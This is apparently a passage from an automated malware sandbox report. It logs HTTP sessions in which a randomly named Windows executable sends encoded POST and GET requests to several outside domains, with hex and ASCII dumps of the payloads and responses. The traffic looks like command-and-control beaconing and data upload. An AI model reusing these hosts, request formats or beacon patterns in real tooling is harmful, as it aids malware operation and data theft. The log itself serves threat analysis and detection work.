6f 75 62 55 2b 6a 4b 65 70 37 4f 7a 7a 2b 34 67 70 56 45 31 53 35 4e 71 42 34 37 2b 68 4e 73 61 55 6d 74 37 30 65 33 67 75 4a 46 41 4f 55 48 56 2f 50 38 56 4c 5a 33 67 78 32 6c 44 67 6c 79 4c 59 6b 68 31 6e 4f 47 62 2b 53 75 66 34 71 6d 2f 54 66 4e 46 6b 44 6b 58 47 77 4b 2b 38 4d 50 64 44 49 64 56 36 79 67 4c 45 35 6e 2b 57 58 33 48 31 2f 6f 45 63 47 66 70 73 43 35 2f 38 56 51 68 6f 65 58 75 53 67 64 4d 61 71 73 6a 66 57 6e 55 7a 46 43 [TRUNCATED] Data Ascii: mFptYb=Cw0Zy0LVBM79D9ZZYCVmqpEkt7SaKgJA55JtQv/bcHeYgODHTs9UiwXGotRCLDnkPpL0m3UVYoxjs9/EixpnOBYmS0TFvp28USltUnFIWmDD4j+EC65H8vyuULybninA6mbHLiEaS2JjZJo4YYVYh3nT96Ox4CeDFP0u2xvwyZXdE8QPvo4bi9xhoubU+jKep7Ozz+4gpVE1S5NqB47+hNsaUmt70e3guJFAOUHV/P8VLZ3gx2lDglyLYkh1nOGb+Suf4qm/TfNFkDkXGwK+8MPdDIdV6ygLE5n+WX3H1/oEcGfpsC5/8VQhoeXuSgdMaqsjfWnUzFCYJrVZbynm+/9g+f3CsFrNhETeWo5bRYxaIWtk+WzPdY7UO6NaJmSyfm3zf5YMCWStsGn04f3SySOrXVK74wP0zh4XFg/d7fl2JuihQpEejtm2buubnwCD+bdmsSfHP3BKfmJEmE29T9saXvf88ucEHQqq+1pY9PE0LgR+4EAOptipieN9166Doj8rNApRuQkP38ePl76dT+El0nYS7j/cyBy70GEHiZMMKy8g1pD7onPH2LSZYwclyCtcVmuFwFDX/ySB7QpR9b6EQw/i2MUnbeRtoyGdFXkzJxPrDdy/s0cnb2CI9EBePnHxwausdVLyPjIyH6X/pk2G0yPTIgxomLbQEb+r1hnSdcuolrTIRkdZgDHLWdSwYTyEJGzD/JhlF4KXDKCW5kyl6aQ20sPahScnQJI0DYPwP3RFnLUBHjFiditXJusueaPU79SBE+fLJXccbhvkqk3UrkD8G0FinDQdP6rUjVwwj/g8zCtb0pSOpKxEtwFnoHgRG7rcwx1hgL8rEWBAxMDJ1othFpTYNPIJH+M+9DEcTM2KLtJRenhgmmPKPJ9ZMPimmWpsxLRttF7VAvJwhzI8FmFVdW9OZQbq4PWSoMo968RnN2UzdvLaStUTkUi4ltZDXa7lJx9XUevrDbILGoBcWuae1TlBSjg0sNytkBK3B [TRUNCATED]
Nov 7, 2024 10:51:36.986751080 CET	1740	OUT	Data Raw: 4d 59 32 56 62 4b 38 45 50 39 6a 41 69 6a 32 6b 31 4d 33 62 2f 2b 45 68 59 7a 77 4e 44 56 42 49 6e 39 6d 74 65 43 50 53 31 62 42 78 53 43 56 75 72 31 63 35 75 59 55 62 66 47 42 52 2f 2b 74 30 41 51 5a 54 4a 2f 4a 66 79 34 6b 46 71 56 56 65 65 7a Data Ascii: MY2VbK8EP9jAij2k1M3b/+EhYzwNDVBIn9mteCPS1bBxSCVur1c5uYUbfGBR/+t0AQZTJ/Jfy4kFqVVeezJZF1kczKtHJkik8pIZZVO8b02m1nMpvqN09seEZhJBSvY1nUvGqHoxdG3oCwVoRtgZ1lsT+FWBkd7Sl/0XkUmmQcobDGzjkcGjsjcEFuPl3UXdH+cUm8iofL8ZgMQDqiK7bzjmPcC+cqyv/Gh2TiLuYMetPySh7yd
Nov 7, 2024 10:51:37.652642012 CET	533	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:51:37 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49186	67.223.117.142	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:39.523251057 CET	529	OUT	GET /brrb/?mFptYb=Pyc5xCH2FNTrUJIJc2J3jfwJvYyqOHlrloocc6vOBweawvT0T5Z/uibAsKRSCDSof6T5ol8OWeU6iNzlygZ3OH11Snb2up2hISFSOV0LFhqb+gPNdrhH/8C3bcPF&Vta=nFypuDtholF HTTP/1.1 Host: www.flikka.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:51:40.436044931 CET	548	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:51:40 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49187	3.33.130.190	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:45.511606932 CET	2472	OUT	POST /i4bc/ HTTP/1.1 Host: www.ladylawher.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.ladylawher.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.ladylawher.shop/i4bc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 43 35 30 4f 58 39 4a 46 56 4e 41 66 4b 2f 44 52 76 4c 65 70 72 31 67 50 77 39 30 63 4a 56 4b 6d 63 4c 7a 52 63 69 41 47 55 4e 79 69 6e 37 71 5a 69 30 45 42 78 78 56 50 2b 47 74 44 37 46 36 70 45 31 45 4d 4e 52 48 5a 4e 64 61 59 44 66 57 59 51 59 4b 69 37 30 64 46 4b 48 58 4d 36 6f 34 4b 52 44 4e 55 33 51 57 42 35 4d 4a 62 6e 31 62 43 54 70 6c 2f 43 6b 56 5a 61 72 64 59 2b 47 4c 7a 38 73 50 73 67 54 67 7a 79 33 55 32 72 78 44 50 4b 79 34 73 77 42 63 75 73 6d 51 37 56 4e 39 31 34 52 55 71 6b 53 35 44 6a 61 79 4c 46 45 6c 42 69 52 69 4d 55 65 36 55 4b 41 4f 75 2f 39 73 30 6b 34 68 30 47 55 74 72 79 64 34 30 67 48 6c 62 50 2f 53 52 65 78 4c 4f 34 72 68 65 73 2f 6f 36 2b 78 46 64 6a 4e 37 64 55 6d 78 58 63 70 49 77 74 48 69 63 66 59 4f 77 53 57 70 6d 6a 55 42 74 57 2f 38 2f 68 58 69 63 79 31 45 39 66 78 44 43 41 6e 6d 59 39 33 51 35 49 44 76 53 70 67 6f 64 73 76 4b 61 38 56 48 65 42 65 54 64 55 61 36 70 6d 4e 71 4b 62 77 54 6f 39 79 45 45 30 2f 2b 50 78 63 56 55 78 6e 53 38 62 4c 33 [TRUNCATED] Data Ascii: mFptYb=C50OX9JFVNAfK/DRvLepr1gPw90cJVKmcLzRciAGUNyin7qZi0EBxxVP+GtD7F6pE1EMNRHZNdaYDfWYQYKi70dFKHXM6o4KRDNU3QWB5MJbn1bCTpl/CkVZardY+GLz8sPsgTgzy3U2rxDPKy4swBcusmQ7VN914RUqkS5DjayLFElBiRiMUe6UKAOu/9s0k4h0GUtryd40gHlbP/SRexLO4rhes/o6+xFdjN7dUmxXcpIwtHicfYOwSWpmjUBtW/8/hXicy1E9fxDCAnmY93Q5IDvSpgodsvKa8VHeBeTdUa6pmNqKbwTo9yEE0/+PxcVUxnS8bL38h+0f1eZ0OC2uPgzHfbYIJlbrFr+lZX1vqQYTs9uIfcDQQWzwi2T/XTj4wGZ8Ofvphl2t/8aNGXpB6DyFdSMO5NhZ1p6zCjlfIouAaKQT+w7GEmKN+4TIYqiyDOBrwissGQr5JK0wltHdoSbkxvf71iD1+gbzHN8G9fylKw8oHeB4rtE7dbbTAlgECDccAuOsPAIF4IZ4KQqTYPnMHT0Pk4Br2Q/ISxPGhQTV0GdjSKA8UGFfUtFOl5vZFhx2srQLZKFsEMpjYRz15sRxIGjGF7LkRzIKJsE3rnOW/NPvh1o0FzsbHG1UtXZk6a5/ncnH93uT+Xw2O9VZk+4XWB3ljFI0ijW1lWJ3FuNEqYthcFglWd6j3yev/pKfIQLvEJXKNV5bn3bcfdQi3mS8AZtGZ1QJfC1pgbsOqSSdQ4k9XSSl53geQWu0rcgZEFe3KwaQ8bKMWUQrN8bNS4YuIBajARSUTzUoIEUIPaWLCL4+EhfatGnNQl7LF4MF6suJcTOKoE1kgVE5/0VnvQQZC6FE+mto1I+82lqUeE+aq7W/Tx7+6q/gpfztdv6yCGti9e+BA3z77JgK9LlOI+kLaOBVOjxbtGHPDtbYWcE1LJCu8LLIvc45ZR51e5aXy9VwMp3TXCyaH8UM44CTcnu9SHY2fS6MbPyGr61+Y [TRUNCATED]
Nov 7, 2024 10:51:45.516490936 CET	288	OUT	Data Raw: 48 42 5a 38 36 39 64 4d 31 6e 46 5a 47 74 65 4b 58 41 38 68 46 39 6a 78 61 4c 38 39 61 75 44 44 6a 62 50 44 57 4c 45 70 45 44 45 59 61 6b 35 31 6c 7a 72 4e 53 72 34 76 55 2b 79 50 53 69 63 41 50 79 78 4f 79 6f 54 59 76 48 53 74 72 55 70 75 6b 67 Data Ascii: HBZ869dM1nFZGteKXA8hF9jxaL89auDDjbPDWLEpEDEYak51lzrNSr4vU+yPSicAPyxOyoTYvHStrUpukg2dnjp3tLbw/oMCjo8r1pAADQdgV8enGglJ0cNDuLMc/soEPG4jee+Iq9yYUB1ONGnCCbNybXT2k0XyMrZ0y1mbKKmr2pGdE3gxQB2frk/HNa4oOEnWkQtl0F6J3YaOfdmLv98rG7aOjZpGvbrnWfYKG4chGiAUKP3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49188	3.33.130.190	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:48.057593107 CET	799	OUT	POST /i4bc/ HTTP/1.1 Host: www.ladylawher.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.ladylawher.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.ladylawher.shop/i4bc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 43 35 30 4f 58 39 4a 46 56 4e 41 66 4b 38 62 52 75 5a 32 70 35 6c 67 50 78 39 30 63 48 31 4b 67 63 4c 2f 7a 63 6e 34 73 55 65 53 69 6e 4a 43 5a 69 48 73 42 30 78 56 41 6d 32 74 50 2f 46 36 38 45 31 45 32 4e 52 37 5a 4e 64 65 59 44 38 2b 59 53 5a 4b 68 6b 55 64 48 48 6e 58 4e 36 6f 31 32 52 44 78 45 33 51 75 42 35 4f 74 62 6d 30 72 43 58 4b 4e 2f 48 55 55 53 4f 62 64 44 2b 47 47 78 38 73 66 6b 67 51 45 7a 7a 47 49 32 6f 6c 58 50 64 7a 34 73 36 68 63 76 68 47 52 53 47 4f 73 69 34 77 55 44 75 6a 52 59 6c 65 79 76 59 56 42 7a 72 41 53 57 56 2f 4b 4a 56 41 2f 68 33 39 31 77 6d 41 3d 3d Data Ascii: mFptYb=C50OX9JFVNAfK8bRuZ2p5lgPx90cH1KgcL/zcn4sUeSinJCZiHsB0xVAm2tP/F68E1E2NR7ZNdeYD8+YSZKhkUdHHnXN6o12RDxE3QuB5Otbm0rCXKN/HUUSObdD+GGx8sfkgQEzzGI2olXPdz4s6hcvhGRSGOsi4wUDujRYleyvYVBzrASWV/KJVA/h391wmA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49189	3.33.130.190	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:50.600756884 CET	2472	OUT	POST /i4bc/ HTTP/1.1 Host: www.ladylawher.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.ladylawher.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.ladylawher.shop/i4bc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 43 35 30 4f 58 39 4a 46 56 4e 41 66 4b 64 4c 52 69 65 43 70 6f 31 67 4d 76 74 30 63 4a 56 4b 6b 63 4c 7a 7a 63 69 41 47 55 49 4b 69 6e 36 4b 5a 6a 6b 45 42 32 78 56 41 7a 6d 74 44 37 46 36 6d 45 31 51 63 4e 52 4c 6e 4e 66 79 59 44 62 36 59 51 62 53 69 73 45 64 46 57 33 58 4b 36 6f 30 73 52 44 42 41 33 51 36 37 35 4f 6c 62 6d 47 7a 43 52 36 4e 77 4c 30 55 53 4f 62 64 50 2b 47 47 4a 38 73 58 38 67 53 30 6a 79 33 34 32 6f 42 44 50 47 53 34 74 79 42 63 72 36 6d 51 31 56 4e 78 49 34 52 55 75 6b 53 39 39 6a 61 32 4c 58 69 70 42 69 57 57 50 57 4f 36 58 58 77 4f 75 78 64 73 36 6b 34 68 53 47 55 74 72 79 64 30 30 69 58 6c 62 50 2b 53 53 44 42 4c 4f 32 4c 68 44 78 50 6c 44 2b 78 51 38 6a 4d 4c 33 55 58 31 58 64 72 51 77 2f 6e 69 63 49 59 4f 32 53 57 70 52 6f 30 42 62 57 38 4e 41 68 58 53 79 79 31 45 39 66 79 62 43 57 30 65 59 2b 6e 51 35 56 7a 76 50 6e 41 6f 63 73 76 66 4e 38 55 7a 65 42 66 4c 64 62 4e 57 70 33 37 2b 4e 51 67 53 50 71 43 45 4b 77 2f 2f 4e 78 64 34 7a 78 6e 61 53 62 50 4c [TRUNCATED] Data Ascii: mFptYb=C50OX9JFVNAfKdLRieCpo1gMvt0cJVKkcLzzciAGUIKin6KZjkEB2xVAzmtD7F6mE1QcNRLnNfyYDb6YQbSisEdFW3XK6o0sRDBA3Q675OlbmGzCR6NwL0USObdP+GGJ8sX8gS0jy342oBDPGS4tyBcr6mQ1VNxI4RUukS99ja2LXipBiWWPWO6XXwOuxds6k4hSGUtryd00iXlbP+SSDBLO2LhDxPlD+xQ8jML3UX1XdrQw/nicIYO2SWpRo0BbW8NAhXSyy1E9fybCW0eY+nQ5VzvPnAocsvfN8UzeBfLdbNWp37+NQgSPqCEKw//Nxd4zxnaSbPL8h7gf0/Z0Ny2vHAzDV7UcJlTJFryTZXVvqCwTkfWHHMDSVWz2m2TVXTuZwCV8OtPpihKt7LuOAnpGsDySPSMg5Nke1tejDTVfJYuAeskShw7PDmKbxYSPYqjBDKcWzSksGQ75JYcwltHa6Cbm7PDN1iO8+gHjHOkG+L2lK0goTOB40NE8X7auAl1xCC0qAeKsMmsF6Ol4bgqRUvnPEj1tk8dr2VPYS1zGgxTVlSJjaqA4XGFEUtFkl5iNFiJmso0LZItsCNpjChz07sRPCmj1F7D0R3IsJtM35TyW8/3vjVoqHzsbd212tXhe6fJFneHH9FWT43wxVNVYm+4UBR33jGw0ijS1lS93F91Eur1he1grSd61sCjK/papIR+qEKDKMANbgxnfatQgn2TzL5shZ1QFfAV5gp0OqDydDpk6VyTMzXgJe2uyrdM/EBLwKjOQ8b6MXmIrMMbNS4YpIBboARWqT24SIEUINLWLD+M+KBfTlmnsUl6WF44/6sG3cQKK6lVkgVE+xkVm1AQYC6Im+mtK1Iy8qGmUcWmapZ+/bx7+q6/h+Pzsdv7qCDBy9bKBRTH7ybIJyblTO+leUv8NOjMGtELPCefYXOg1K5Cu/rLL8c4sdRkke9Cxy5RgLYnTXxKaUvsN1oCQRHuFSHVGfSiEbOKWr79+Y [TRUNCATED]
Nov 7, 2024 10:51:50.606282949 CET	1752	OUT	Data Raw: 48 42 35 38 36 63 64 4d 30 48 46 61 4f 4e 65 66 58 41 38 46 46 39 4c 66 61 4c 67 74 61 6f 2f 44 73 5a 48 44 46 6f 73 70 48 7a 45 61 61 6b 35 76 76 54 33 34 53 72 35 51 55 2b 47 50 53 69 73 41 50 31 6c 4f 79 59 54 48 67 58 53 73 78 45 70 6c 39 77 Data Ascii: HB586cdM0HFaONefXA8FF9LfaLgtao/DsZHDFospHzEaak5vvT34Sr5QU+GPSisAP1lOyYTHgXSsxEpl9w2RnjpjtJub/pkCj6Er2c0ACgdmOMeOCg5b0cB1uJEM4egEO0AjariI9NyZeh1JNG6tCYlYbWDPkAHyMbZ022CYdamtm5GQE3gNQB/YrlSKNesoOHPWlgtiw16PyYbJfdrAv90VG7KOjb9Gv77nBvYKE4cuPCAJFv7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49190	3.33.130.190	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:53.139329910 CET	533	OUT	GET /i4bc/?mFptYb=P7cuULF9RNNpbZDPqKeYgjgLveMcAQaoAqjHQXQRXIOUhYGrthov/zoo0UFBwEOwFncKEQzaM8iNIdWXCLam6BQfA1/n7ZwKXwFy7wLA2+dkqm2zT4ZxPQ5AZvg9&Vta=nFypuDtholF HTTP/1.1 Host: www.ladylawher.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:51:53.785733938 CET	402	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 09:51:53 GMT Content-Type: text/html Content-Length: 262 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6d 46 70 74 59 62 3d 50 37 63 75 55 4c 46 39 52 4e 4e 70 62 5a 44 50 71 4b 65 59 67 6a 67 4c 76 65 4d 63 41 51 61 6f 41 71 6a 48 51 58 51 52 58 49 4f 55 68 59 47 72 74 68 6f 76 2f 7a 6f 6f 30 55 46 42 77 45 4f 77 46 6e 63 4b 45 51 7a 61 4d 38 69 4e 49 64 57 58 43 4c 61 6d 36 42 51 66 41 31 2f 6e 37 5a 77 4b 58 77 46 79 37 77 4c 41 32 2b 64 6b 71 6d 32 7a 54 34 5a 78 50 51 35 41 5a 76 67 39 26 56 74 61 3d 6e 46 79 70 75 44 74 68 6f 6c 46 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?mFptYb=P7cuULF9RNNpbZDPqKeYgjgLveMcAQaoAqjHQXQRXIOUhYGrthov/zoo0UFBwEOwFncKEQzaM8iNIdWXCLam6BQfA1/n7ZwKXwFy7wLA2+dkqm2zT4ZxPQ5AZvg9&Vta=nFypuDtholF"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49191	113.20.119.31	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:59.047612906 CET	2472	OUT	POST /c1ti/ HTTP/1.1 Host: www.primeproperty.property Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.primeproperty.property Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.primeproperty.property/c1ti/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 5a 55 39 70 6a 4a 54 4d 7a 61 68 70 68 74 50 51 31 4b 78 47 39 38 77 54 65 31 66 66 35 50 35 46 54 61 51 6e 33 66 67 36 4e 57 70 4c 30 67 4a 63 5a 47 36 64 69 5a 52 4d 6a 45 30 41 77 33 52 62 6b 2f 47 59 41 71 47 4c 6c 58 6d 34 59 4e 59 64 54 39 67 66 75 6a 6f 2b 72 4c 33 47 62 6b 6d 30 78 70 49 4a 76 4e 69 67 71 54 76 64 6f 6a 47 51 76 6c 72 6e 2f 44 58 52 69 2f 41 48 49 41 2f 44 49 73 56 68 39 65 6e 46 6f 43 56 49 38 4c 74 67 2b 72 41 7a 41 47 41 34 5a 2f 43 62 61 4b 37 73 6c 6f 4c 59 4f 49 48 35 45 47 47 57 6f 77 67 2f 47 38 78 50 71 45 6a 4a 4c 75 72 4f 4c 4f 77 76 6e 69 6d 62 4d 62 74 51 72 4b 61 6b 6b 6b 54 68 59 53 67 52 33 56 41 76 54 48 4a 48 2b 4e 62 46 57 36 37 31 31 62 6b 59 64 6c 62 6f 55 58 52 4c 72 71 54 42 48 4f 4c 4b 72 36 6d 6d 33 62 64 2f 31 74 50 57 4e 59 33 32 62 64 71 49 77 69 58 69 76 43 64 78 44 68 6e 4b 6f 57 50 51 5a 37 57 67 53 37 59 69 58 56 77 77 55 5a 63 6e 74 50 2b 63 64 79 4c 31 66 62 36 67 42 48 56 68 5a 78 6b 76 54 63 4e 30 4b 4f 6e 34 73 4d 46 [TRUNCATED] Data Ascii: mFptYb=ZU9pjJTMzahphtPQ1KxG98wTe1ff5P5FTaQn3fg6NWpL0gJcZG6diZRMjE0Aw3Rbk/GYAqGLlXm4YNYdT9gfujo+rL3Gbkm0xpIJvNigqTvdojGQvlrn/DXRi/AHIA/DIsVh9enFoCVI8Ltg+rAzAGA4Z/CbaK7sloLYOIH5EGGWowg/G8xPqEjJLurOLOwvnimbMbtQrKakkkThYSgR3VAvTHJH+NbFW6711bkYdlboUXRLrqTBHOLKr6mm3bd/1tPWNY32bdqIwiXivCdxDhnKoWPQZ7WgS7YiXVwwUZcntP+cdyL1fb6gBHVhZxkvTcN0KOn4sMFp2RINl1yvB5LLIRsv5O2Cscaw7GctbfEO9hTiGmS7m7Ikk2pssA9SS0TOppA+j6PrXDltR/H05FEkR/8E/iY/g542MfcbrQRFCVmAF8M6pUIEoUALA21kCoBHbIXOU/M6qa+I79FfnQIRE9TBI2u4v5wDBxcWXDMWvorrJB0qr53qsjKKr2jSGbdhyc0Ete6Iv7vkzNY4iSdAlBn2L+CFQyoiCrRH+K2yMbywjkSoArBApT2E97JVSm4AOBhsKMpAZvW2ruWr9U4IzW0WsJpWy8KB3BhBOJwevD0lFL1m9bNgnD2vcr869wqKjWTpotsG07ktlAKHFgWuadnM4Hat24XDZQYaXGFCV3q/8rXoYCzYJsW6jk2oUtYIG+HscGeIcnXOCHwzUskO27N9cYf3u80t8+k48m6QtnIQUoyK3SKE5aL2T7JoL7YDe550njcRnR9t8W8+1l0pgna4ONP87s8ciEJO+CDMYxmziw6PZjz8kfJ5b50JxwBz0GA4b0KDHAxkDpcM1Awfo7l9BVoyDhHlifzv8/Vil1MYW/ApGDJRoxTpmm0JHxkrl2YrOQpSZU93QdMu8+FPVHz1DsG0XIi0Cxp14iM8wnMnb7H+GRLd7mTVneVwIqbVt/LsivBN35Qu8yfhita+HB2cyxSDj8IN/uwG1nvfC [TRUNCATED]
